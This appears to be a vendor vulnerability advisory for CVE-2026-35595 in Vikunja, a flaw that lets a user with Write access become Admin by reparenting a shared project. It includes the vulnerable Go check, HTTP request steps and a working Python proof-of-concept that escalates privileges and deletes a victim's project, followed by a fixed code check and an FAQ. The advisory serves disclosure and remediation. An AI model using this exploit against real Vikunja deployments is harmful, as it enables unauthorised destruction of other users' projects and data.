CVE-2026-35595

A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.

Details

The CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.

When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.CanWrite(s, a)  // Only checks Write, not Admin
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
}

Proof of Concept

Tested on Vikunja v2.2.2.

1. victim creates "Parent Project" (id=3)
2. victim creates "Secret Child" (id=4) under Parent Project
3. victim shares Parent Project with attacker at Write level (permission=1)
   -> attacker inherits Write on Secret Child (no direct share)
4. attacker creates own "Attacker Root" project (id=5)
5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden
6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5}
   -> 200 OK (reparenting succeeds, only requires Write)
7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK
   -> Project deleted. victim gets 404.

import requests                                                                                                                                                                                                                                                                                                    
                                                                                                                                                                                                                                                                                                                
TARGET = "http://localhost:3456"                                                                                                                                                                                                                                                                                 
API = f"{TARGET}/api/v1"  
                                        
def login(u, p):                     
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
                                        
def h(token):  
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
                                                                                                                                                                                                                                                                                                                    
victim_token = login("victim", "Victim123!")
attacker_token = login("attacker", "Attacker123!")                                                                                                                                                                                                                                                                 
                                                                                                                                                                                                                                                                                                                
# victim creates parent -> child project hierarchy                                                                                                                                                                                                                                                               
parent = requests.put(f"{API}/projects", headers=h(victim_token),
                    json={"title": "Parent Project"}).json()
child = requests.put(f"{API}/projects", headers=h(victim_token),
                    json={"title": "Secret Child", "parent_project_id": parent["id"]}).json()

# victim shares parent with attacker at Write (attacker inherits Write on child)
requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token),
            json={"username": "attacker", "permission": 1})

# attacker creates own root project
own = requests.put(f"{API}/projects", headers=h(attacker_token),
                    json={"title": "Attacker Root"}).json()

# before: attacker cannot delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE before reparent: {r.status_code}")  # 403

# exploit: reparent child under attacker's project
r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker_token),
                json={"title": "Secret Child", "parent_project_id": own["id"]})
print(f"Reparent: {r.status_code}")  # 200

# after: attacker can now delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE after reparent: {r.status_code}")  # 200 - escalated to Admin

# victim lost access
r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim_token))
print(f"Victim access: {r.status_code}")  # 404 - project gone

Output:

DELETE before reparent: 403
Reparent: 200
DELETE after reparent: 200
Victim access: 404

The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.

Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.

The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access. Typical impact: privilege escalation beyond the intended level.

CVE-2026-35595 has a CVSS score of 8.3 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.0); upgrading removes the vulnerable code path.

Kodem intelligence

Require Admin permission instead of Write when changing parent_project_id:

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
    canAdmin, err := p.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !canAdmin {
        return false, ErrGenericForbidden{}
    }
}

Found and reported by aisafe.io

1. What is CVE-2026-35595? CVE-2026-35595 is a high-severity improper privilege management vulnerability in code.vikunja.io/api (go), affecting versions <= 2.2.2. It is fixed in 2.3.0. The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access.
2. How severe is CVE-2026-35595? CVE-2026-35595 has a CVSS score of 8.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of code.vikunja.io/api are affected by CVE-2026-35595? code.vikunja.io/api (go) versions <= 2.2.2 is affected.
4. Is there a fix for CVE-2026-35595? Yes. CVE-2026-35595 is fixed in 2.3.0. Upgrade to this version or later.
5. Is CVE-2026-35595 exploitable, and should I be worried? Whether CVE-2026-35595 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35595 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35595? Upgrade code.vikunja.io/api to 2.3.0 or later.